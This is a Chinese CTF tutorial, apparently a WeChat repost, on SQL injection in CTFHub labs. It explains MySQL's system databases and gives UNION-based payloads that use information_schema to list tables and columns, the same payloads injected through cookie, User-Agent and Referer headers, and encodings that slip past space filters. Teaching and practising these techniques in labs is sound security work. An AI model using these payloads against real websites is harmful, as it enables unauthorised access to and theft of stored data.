Mysql结构
在安装完数据库后,会有系统自带的四个库用于存储数据库运行的信息数据
mysql> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| mysql |
| performance_schema |
| sys |
+--------------------+
4 rows in set (0.01 sec)
系统库 |
作用 |
performance_schema |
MySQL服务器运行过程中的一些状态信息,是对MySQL服务器的一个性能监控,包括最近执行的语句,及花费的时间、内存使用情况等信息 |
information_schema |
MySQL服务器维护的所有其他数据库的信息,描述性信息,称为元数据。如有哪些表、哪些视图、哪些触发器、哪些列、哪些索引等 |
mysql |
主要存储了MySQL的用户账户和权限信息 |
sys |
通过视图的形式将information_schema和performance_schema结合起来,使用户更方便的了解MySQL服务器的性能信息 |
根据官网的说明: INFORMATION_SCHEMA
是每个 MySQL 实例中的一个数据库,用于存储有关 MySQL 服务器维护的所有其他数据库的信息。 INFORMATION_SCHEMA
数据库包含多个只读表。它们实际上是视图,而不是基表,因此没有与它们关联的文件,并且您无法在它们上设置触发器。此外,没有具有该名称的数据库目录。
故我们可以通过这个表来对表名、列名信息进行查询
判断是否存在注入,利用真假来查看回显数据1 and 0--
和1 and 1--
用union select 1,2--
进行联合查询找到回显点
这里就需要用到information_schema
表来帮助我们快速查询数据库的表名,information_schema.tables
就是information_schema
库的tables
表,可以用.
来表示是哪一个数据库的表
union select group_concat(table_name) from information_schema.tables where table_schema=database()
查完表后再查列,这里不同的就是把tables
改成了columns
,注意区别
union select group_concat(column_name) from information_schema.columns where table_schema=database()
当找到表名和列名后就可以找到flag
select auzqshexhm,2 from anfuwyfpuw--
Cookie注入
cookie注入与之前的注入不同的是注入点是在cookie字段处,并不像之前可以通过get请求或是post请求来进行注入
通过修改cookie字段,在数据中用语句1 and 1#
来判断是否存在注入
确认存在注入点后,接下来的步骤就和之前一样了,联合查询找到回显点union select 1,2#
用union select group_concat(table_name) from information_schema.tables where table_schema=database()
来查找表名
再用union select group_concat(column_name) from information_schema.columns where table_schema=database()
来查找列名
最后再用select
就能查询到flag了,与之前不同之处在于注入点是在cookie字段
UA注入
UA注入与之前不同在于注入点是在user-agent这个字段,和之前的get请求和post请求不同
通过修改user-agent字段,在数据中用语句1 and 1#
来判断是否存在注入
确认注入点后再用联合注入union select 1,2#
查找回显点
用union select group_concat(table_name) from information_schema.tables where table_schema=database()
来查找表名
再用union select group_concat(column_name) from information_schema.columns where table_schema=database()
来查找列名
最后在ua头查询flag,所有的sql语句都是从ua头传参
Refer注入
Refer注入和之前注入不同的地方在于注入的字段在Refer处,和之前的get请求和post请求不同
一些操作流程都是在referer字段中进行,这里基本不再过多重复展示流程,注入的sql语句可以参考以上的语句来自己进行
过滤空格
有时在sql注入的时候会遇见添加黑名单的情况,在ctf中会经常遇见这类的题型,这类题目的首要思路就是进行FUZZ替换过滤的关键字
以下这些都可以尝试去替换空格
/**/
+
%09
%0A
%0B
%0C
%0D
%A0
%20
通过对字符进行FUZZ确认哪些可以进行替换
接下来的流程就和之前一样了
/**/
、%09
、%0a
都是可以进行替换获取到flag
原文始发于微信公众号(CatalyzeSec):从0学习CTF-从ctfhub继续来了解SQL注入
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论